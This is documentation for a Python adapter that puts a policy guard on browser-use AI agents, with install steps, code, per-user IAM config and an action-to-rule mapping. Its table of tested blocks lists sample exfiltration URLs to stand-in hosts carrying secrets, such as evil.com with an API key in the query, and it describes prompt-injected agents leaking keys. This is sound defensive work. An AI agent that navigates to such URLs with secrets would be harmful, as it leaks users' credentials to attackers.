browser-use integration

Prismor Warden adapter for browser-use. Ships from adapters/browser-use/ as prismor-warden-browser-use. Registry entry: id: browser-use in warden/integrations/registry.yaml.

Browser agents carry unique risk: they can navigate to attacker-controlled URLs, exfiltrate data via form submissions, download and execute files, and act on behalf of users with their credentials. Warden intercepts every action before Playwright touches the browser.

Install

pip install "prismor[browser-use]"

Needs prismor >= 1.14.2. Until that version is on PyPI, the same one-liner works from source: pip install "prismor[browser-use] @ git+https://github.com/PrismorSec/prismor.git@main".

Guard a controller (easy path)

from browser_use import Agent, Controller
from langchain_openai import ChatOpenAI
from prismor.warden.browser_use import guard_controller

controller = Controller()
guard_controller(controller, mode="enforce")   # every browser action policy-checked

llm = ChatOpenAI(model="gpt-4o-mini")
agent = Agent(task="Find the weather in NYC", llm=llm, controller=controller)
await agent.run()

That's it. Every action the LLM triggers — navigation, clicks, form input, file uploads — is evaluated against the active Warden policy before Playwright runs it.

How it works

browser-use dispatches all actions through a single method: Registry.execute_action(action_name, params, ...). guard_controller patches that method on the controller's registry, so there is one interception point regardless of which action the LLM invokes.

Per-user control (multi-tenant)

from prismor.warden.browser_use import guard_controller, use_subject

controller = Controller()
guard_controller(controller)   # once, at startup — no bound subject

agent = Agent(task="...", llm=llm, controller=controller)

# per-request handler
with use_subject("user:alice"):
    await agent.run()

Same agent, same controller, different policy per user. The subject is resolved from the contextvar and threaded through policy evaluation, IAM, and telemetry.

Per-user IAM example (.prismor/iam.yaml):

agents:
  user:contractor:
    deny_network: true          # can't navigate to external URLs
    allowed_paths: ["/tmp/**"]
  team:finance:
    deny_tools: [Bash]
    allowed_paths: ["/reports/**"]

Event mapping

browser-use actions are normalised to canonical Warden event types before policy evaluation:

ActionEvent typeFieldRules that apply
go_to_url, search_google, open_tabnetworkurlsuspicious-network, secret-in-url-params, custom domain rules
upload_file, save_pdf, download_filefile_writepathpath-based rules
click_element, input_text, scroll, drag_drop, hover_element, extract_content, …shellcommanddestructive-command, custom rules

This means the existing secret-in-url-params rule automatically catches a prompt-injected agent trying to send your API key to an attacker's server via a URL query parameter — no additional configuration needed.

Live-validated blocks

Tested on a Linux host with browser-use 0.13.1 and the real Controller object:

ActionURL / argsResult
go_to_urlhttps://webhook.site/abc?token=secret⛔ blocked — suspicious-network
go_to_urlhttps://evil.com?key=sk-proj-abc…⛔ blocked CRITICAL — secret-in-url-params
go_to_urlhttps://example.com✅ allowed
go_to_urlany URL, user:bob (deny_network IAM)⛔ blocked — IAM
go_to_urlhttps://webhook.site/…, observe mode✅ logged, not blocked

Deny behaviour

By default a blocked action returns a string to the LLM:

⛔ Prismor Warden blocked action 'go_to_url': [HIGH] Flags calls to webhook.site …

The agent receives this as the action's output and typically reports the block and tries an alternative. Use raise_on_block=True to raise WardenBlocked instead, which halts the run immediately.

Reference

SymbolPurpose
guard_controller(controller, **kwargs)Patch the controller's registry — one call guards all actions
use_subject(value)Per-request subject contextmanager
WardenBlockedRaised on enforce-mode block (when raise_on_block=True)

guard_controller accepts: subject, workspace, agent, mode, session_id, raise_on_block. See adapters/browser-use/ for full signatures.